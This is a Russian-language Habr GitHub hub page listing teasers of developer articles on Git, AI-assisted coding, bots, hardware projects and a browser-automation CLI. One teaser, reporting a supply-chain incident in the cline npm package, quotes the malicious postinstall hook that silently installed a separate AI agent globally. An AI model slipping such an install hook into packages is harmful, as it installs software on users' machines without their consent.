Обновить
256K+

GitHub *

Веб-сервис для хостинга и разработки IT-проектов

157,66
Рейтинг
Сначала показывать
Порог рейтинга
Уровень сложности

Как отменить или откатить коммит в Git командами reset, revert и restore

Уровень сложностиСложный
Время на прочтение6 мин
Охват и читатели14K

Всем привет!

Если вы работаете с Git относительно недавно, почти наверняка у вас возникала потребность в отмене коммита. И, что печально, вы быстро поняли, что простого "откатить все назад" нет.

Где-то советуют git reset, где-то - git revert, а в третьих и вовсе пишется про checkout. По тому же правилу летят restore, amend, reflog и куча технологических формулировок, требующих знания git и после которых становится только сложнее, нежели понятнее.

На самом деле все это объясняется: под словами "отменить commit" можно иметь в виду совершенно разные действия, и мы разберем, для каких случаев, какая команда подходит.

Читать далее

Как я портировал свою программу с Windows на macOS за один промпт в Claude Code, ну почти…

Уровень сложностиПростой
Время на прочтение18 мин
Охват и читатели10K

По вечерам я тренирую баскетбольную команду, утром — преподаю черчение, а днём делаю вид что успешный дизайнер на фрилансе.

Год назад я сделал свою первую в жизни программу для вставки любых символов напрямую с клавиатуры, но только для Windows.

Сегодня рассказываю как я писал hypetype для macOS, сколько потратил часов, нервов и денег в сравнении с Windows версией, чему научился и какие выводы сделал.

Читать сиквел →

Облачные модели Ollama в задачах code review — честное сравнение на примерах

Уровень сложностиСредний
Время на прочтение9 мин
Охват и читатели14K

AI всё чаще используется в разработке: генерация кода, автодополнение, агентные IDE. Но возникает логичный вопрос - можно ли доверить LLM полноценный code review?

В этой статье я решил проверить это на практике. Я сравнил несколько моделей, доступных через Ollama Cloud - Qwen 3.5, GPT-OSS и DeepSeek v3.1 - и дал им проанализировать реальные Pull Request из легаси-проекта на Python.

Спойлер: некоторые модели показали неожиданно хороший результат.

Читать далее

Пишем быстрые API-автотесты без флаков, стендов и боли: изоляционный подход в CI/CD

Уровень сложностиСредний
Время на прочтение23 мин
Охват и читатели11K

Большинство API-тестов бесполезны: они флакают и тормозят CI. Показываю альтернативу — изоляционные тесты без стендов и боли.

Читать далее

Telegram-бот вместо Excel-рутины: как я автоматизировал рутину с помощью Python

Уровень сложностиПростой
Время на прочтение7 мин
Охват и читатели14K

Как я заменил Excel-сводные на Telegram-бота и ускорил контроль потерь на складе

Я автоматизировал рутинный процесс, который постоянно отъедал время: сбор выгрузок, построение сводных в Excel, перенос результатов в Google Sheets и ручной контроль повторений. Теперь всё делается одной кнопкой в Telegram: бот берёт последний файл из папки на Яндекс.Диске, обрабатывает данные и выкладывает готовую витрину в Google Sheets. Отдельно он показывает товар, который начнёт списываться в ближайшие 24 часа — это стало не просто ускорением, а новым инструментом управления потерями.

Как всё было?

Превращаем MIDI клавиатуру в синтезатор. Часть 1. Железо

Уровень сложностиСредний
Время на прочтение11 мин
Охват и читатели13K

Все началось со статьи Как собрать клон Yamaha DX7 за 10$. Так как я достаточно давно занимаюсь музыкой, и люблю конструировать всякие электронные штучки, меня эта статья заинтересовала. Я тут же начал прикидывать по цене возможные варианты. RPI2040 конечно же очень дешево, но посмотрев пару обзоров на Picodexed на YouTube, меня не привлекла простенькая синтезаторная составляющая. Понятно, что это полная эмуляция движка Yamaha DX7, но слишком уж звук невзрачный и простой. После просмотра вариантов эмуляторов синтезаторов на RPI на YouTube меня больше заинтересовали проекты MiniDexedMT32-pi и Mini-JV880

Читать далее

« DeepSeek, сделай мне робота!»: техническая исповедь, карта минного поля и полные файлы проекта

Уровень сложностиПростой
Время на прочтение6 мин
Охват и читатели17K

Привет! Это вторая часть. Первая была про то, как автомаляр без знания кода и DeepSeek за две недели собрали робота из старого смартфона. Там — эмоции и философия. Здесь — хардкор.

В этом тексте:
— Архитектура проекта: кто за что отвечает.
— Все файлы: сервер, прошивка ESP, веб-морда, стример.
— Карта минногополя — то, о чем молчат туториалы.
— Инструкция «запусти за 5 минут» и как адаптировать под другое железо.

Будут ссылки. Всё уже в репозитории.

Читать далее

Агент под прикрытием: Как один заголовок-промпт на GitHub помог взломать 4000 компьютеров

Уровень сложностиПростой
Время на прочтение5 мин
Охват и читатели12K

17 февраля 2026 года в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт. Лишь в файле package.json притаилась одна лишняя строчка:

"postinstall": "npm install -g openclaw@latest"

В течение следующих восьми часов каждый разработчик, решивший установить или обновить Cline, невольно устанавливал OpenClaw. Это отдельный ИИ-агент с полным доступом к системе, который устанавливался глобально и без какого-либо спроса. Пакет успели скачать около 4000 раз, прежде чем его удалили из общего доступа.

Читать далее

Pandas: 4 вопроса, которые мучают 51% Python-разработчиков — и их правильные ответы

Уровень сложностиПростой
Время на прочтение6 мин
Охват и читатели15K

По данным Stack Overflow Developer Survey, pandas — самая ищемая Python-библиотека. Разбираем четыре топовых вопроса: итерация по строкам, переименование колонок, удаление NaN и фильтрация. Для каждого — несколько способов с бенчмарком и рекомендацией «как надо делать в 2026».

Читать далее

Подключение к GitHub по SSH: для новичков

Уровень сложностиПростой
Время на прочтение2 мин
Охват и читатели7.6K

Краткое пошаговое руководство, как настроить SSH‑подключение к GitHub: от создания ключа до проверки соединения. Подойдёт новичкам, которые хотят избавиться от постоянного ввода логина и пароля и безопасно работать с репозиториями

Узнать подробнее

Я устал каждый раз собирать проект с нуля — и сделал универсальный Docker+Python-шаблон

Уровень сложностиСредний
Время на прочтение5 мин
Охват и читатели9.5K

Всем привет! Это моя первая статья на Хабре и я надеюсь и рассчитываю на вашу критику, дельные замечания, внимание и аплодисменты. Сим я начинаю серию статей посвящённых тому как создавать SaaS продукты, как подбирать нишу, как его собственно программировать и отлаживать, как выводить на рынок и всё в таком духе. Поделюсь своим опытом, так сказать.

Эта статья (и несколько последующих) будет посвящена сугубо технической части вопроса. Я расскажу о своём шаблоне для разработки и тестирования MVP, который ускоряет дело. Он у меня появился потому, что я любитель экспериментов и много раз делал разные микропроекты — боты, игры, сайты, парсеры и тому подобное В какой‑то момент я заметил что таскаю между проектами один и тот же кусок кода, который здорово ко всему подходит и с которого начинается каждый мой новый проект.

Итак, вашему внимаю представляю МЕГА ШАБЛОН УДОБНОГО БЫСТРОГО ПРОГРАММИРОВАНИЯ

«Чем же он так хорош?», спросите вы. И правильно сделаете что спросите! А я вам отвечу.

Читать далее более сильнее погнале

Робот из того, что ты выбросил: революция, которая осталась незамеченной

Уровень сложностиПростой
Время на прочтение7 мин
Охват и читатели11K

Я не могу написать и строчки кода. Но мир изменился и теперь буквально каждый может осуществить задуманное. В этой статье я расскажу как при помощи DeepSeek и старого Android собрать робота с душой, даже если ты ничего не знаешь о разработке. О революции в мире DIY которую мы пока не осознали. О бессмертии идей. Что нас ждёт и как ИИ повлияют на будущие поколения

Читать далее

Минимальный продакшн-шаблон для Next.js приложения

Уровень сложностиПростой
Время на прочтение7 мин
Охват и читатели8.6K

Собрал production‑ready Next.js boilerplate для self‑hosted проектов: один репозиторий, один VPS, Docker + nginx + Let’s Encrypt, GitHub Actions, опциональный MongoDB, авторизация и небольшой UI‑кит. Это кейс про инфраструктуру вокруг Next.js без Vercel и прочих managed‑платформ для большего контроля и экономичного старта.

Читать далее

Ближайшие события

Как я устал дебажить MAX API, отреверсил их вебхуки и отучил Cursor галлюцинировать

Уровень сложностиСредний
Время на прочтение3 мин
Охват и читатели25K

Как я устал дебажить MAX API, отреверсил их вебхуки и отучил Cursor галлюцинировать

Когда я писал своего первого более-менее серьезного бота под Max, случилась классика. Я и мой ИИ-ассистент (Cursor) пишем код, строго опираясь на официальную документацию Max API. Запускаю — падает. Сижу по 5-6 итераций, пытаюсь отдебажить базовый функционал, который под ту же Телегу пишется с закрытыми глазами.

В какой-то момент меня это достало. Я понял, что проблема не во мне и не в галлюцинациях нейронки. Я просто включил логирование всех входящих POST-запросов и стал дампить реальные вебхуки, которые прилетают от серверов Max. Открыв логи, я понял, почему мы так долго буксовали: то, что написано в документации, и то, что прилетает по факту — это две большие разницы. А слепая привычка писать архитектуру под Telegram Bot API делает только хуже.

Различия с официальной документацией Max API (Docs vs Реальность)

Вскрываем реальные вебхуки Max API

OpenClaw 211K звёзд GitHub — накрутка или органика? Forensic-анализ на данных

Уровень сложностиСредний
Время на прочтение10 мин
Охват и читатели9K

Вчера вечером листал Telegram и наткнулся на пост в канале midov_channel (пост 775). У Ислама обсуждается пост в reddit в котором активно дискутируют, что 211 тысяч звёзд у репозитория — это «Fake stars, боты накручивают» .

Активно использую последнию неделю OpenClaw , имею своё мнение, и понимаю почему такой вопрос возникает: 211 тысяч звёзд — это много. Конечно, когда видишь такие цифры, первая мысль — «а точно ли это настоящие люди?»

У меня профессиональная деформация - доверяй, но проверяй. Всё таки 15 лет развивал департаменты Data и аналитики в L'Oreal. Это также трансформировалось в текущий мой бизнес AYGA Data & AI, где мы, с агентамиработаю в формате AI-first компании, привыкли к другому подходу — не спорить, а проверять. Есть гипотеза — есть данные. Данные либо подтверждают, либо опровергают.

Собственно, поэтому вчера дал своему агенту Gubin задачу: собрать все 211 тысяч профилей stargazers репозитория и провести forensic-анализ. Не выборку, не 1% — все до единого.

Через полтора часа Агент Губин прислал мне в телеграмм презентация из 14 слайдов. Дальше — разбор каждого из листа презентации.

Читать далее

Сделка с совестью на хакатоне или «Как победить с нерабочим кодом?» История одной команды…

Уровень сложностиПростой
Время на прочтение10 мин
Охват и читатели17K

🏆 1 место на хакатоне без работающего кода? Легко!

Мы заняли 3 место с рабочим сервисом. Победители показали картинки и получили премию Мэра. Мы проверили их GitHub: там пусто.

Внутри расследование:

Ссылки на код победителей (alert() вместо API).

Разбор метрик (SMAPE 79%).

Как связи решают всё.

Читайте, как выигрывают не технологии, а подрядчики. 👇

Погрузимся в историю...

Автоматизация браузера и развёртывание функций прямо из терминала

Время на прочтение3 мин
Охват и читатели8.6K

Notte — платформа для автоматизации браузера. Недавно мы выпустили CLI, который позволяет управлять браузерными сессиями, запускать AI-агентов, извлекать структурированные данные и развёртывать функции автоматизации — всё это прямо из терминала.

В этой статье разберём, что он умеет и как устроен.

Какую проблему мы решали

Большинство рабочих процессов автоматизации браузера начинаются локально. Вы пишете скрипт на Playwright или Puppeteer, он работает на вашей машине, а затем вы тратите время на его переработку под продакшн.

Notte CLI подключается напрямую к облачным браузерным сессиям. Браузер запущен не у вас — он работает у нас. Это означает, что то, что вы делаете в терминале, в точности совпадает с тем, что будет работать в продакшне.

Как работают сессии

Весь CLI построен вокруг сессий. Сессия — это живой экземпляр браузера (headless или headed), запущенный в облаке.

Запустить её можно так:

notte sessions start --headless

После старта сессия автоматически становится активным контекстом. Все последующие команды будут использовать её без необходимости каждый раз указывать ID сессии. Навигация, скрейпинг, клики, наблюдение — всё это идёт в одну и ту же сессию, пока вы её не остановите.

При запуске сессии поддерживается широкий набор настроек: кастомные viewport'ы, user agent'ы, ротация прокси, решение капч, файловое хранилище, переопределение CDP URL и сохранение профиля браузера.

Видимость

При запуске headless-сессии в выводе появляется viewer URL. Откройте его в браузере — и вы наблюдаете за живой сессией в реальном времени, пока команды выполняются в терминале. Удобно для отладки без переключения в отдельный интерфейс.

Читать далее

Организация репозитория программных пакетов с ограниченным доступом в Linux

Уровень сложностиСредний
Время на прочтение8 мин
Охват и читатели7K

В этой статье хотелось бы рассмотреть, как организовать репозиторий программных пакетов с ограниченным доступом с практическими примерами. Такой репозиторий может быть полезен в разных ситуациях.

Читать далее

M23-Spectrum: инициализация весов нейросети через теорию групп Матьё

Уровень сложностиСредний
Время на прочтение6 мин
Охват и читатели7K

Когда мы говорим об обучении глубоких нейронных сетей, первое, о чём думают — это архитектура, функция потерь, learning rate. Инициализация весов кажется скучной технической деталью: «ну Xavier/He поставил и забыл». Но за этой простотой скрывается фундаментальная проблема.

Xavier (Glorot, 2010) и He (2015) инициализируют веса из случайных распределений с дисперсией, масштабированной под размер слоя. Это работает хорошо для неглубоких сетей, но с ростом глубины возникает системная проблема: спектральный радиус матрицы весов отклоняется от 1, и сигнал либо затухает, либо взрывается при прохождении через десятки слоёв.

Динамическая изометрия — концепция, которая говорит: чтобы сигнал сохранялся, нужно $\rho(W) \approx 1$ на каждом слое. Добиться этого статистически сложно, особенно стабильно. Но что если взять структуру, где это гарантировано алгебраически?

Читать далее

Рекап для разработчика: как я собрал итоги года на основе GitHub и self-hosted LLM

Время на прочтение23 мин
Охват и читатели11K

В конце года приложения все чаще подводят итоги пользовательской активности. Они показывают, сколько времени вы провели внутри сервиса, какие кнопочки нажимали чаще и на что вообще ушла жизнь. Один из самых удачных примеров — музыкальные сервисы. Там наглядно показано, сколько времени вы были панком и слушали рок, а сколько грустили под меланхоличный инди, кто для вас стал любимчиком и какой трек стал главным за год.

Подобные рекапы хорошо заходят, потому что дают возможность взглянуть на себя со стороны. Это некий способ осмыслить прошедший год, где-то улыбнуться, а где-то — испытать испанский стыд.

В этой статье попробуем сделать собственный рекап, но уже для разработчиков. Нужен инструмент, который показывал бы, сколько времени человек писал код, на каких технологиях работал, какие языки использовал и как в целом выглядел год с точки зрения коммитов и репозиториев. Подробности под катом.

Читать далее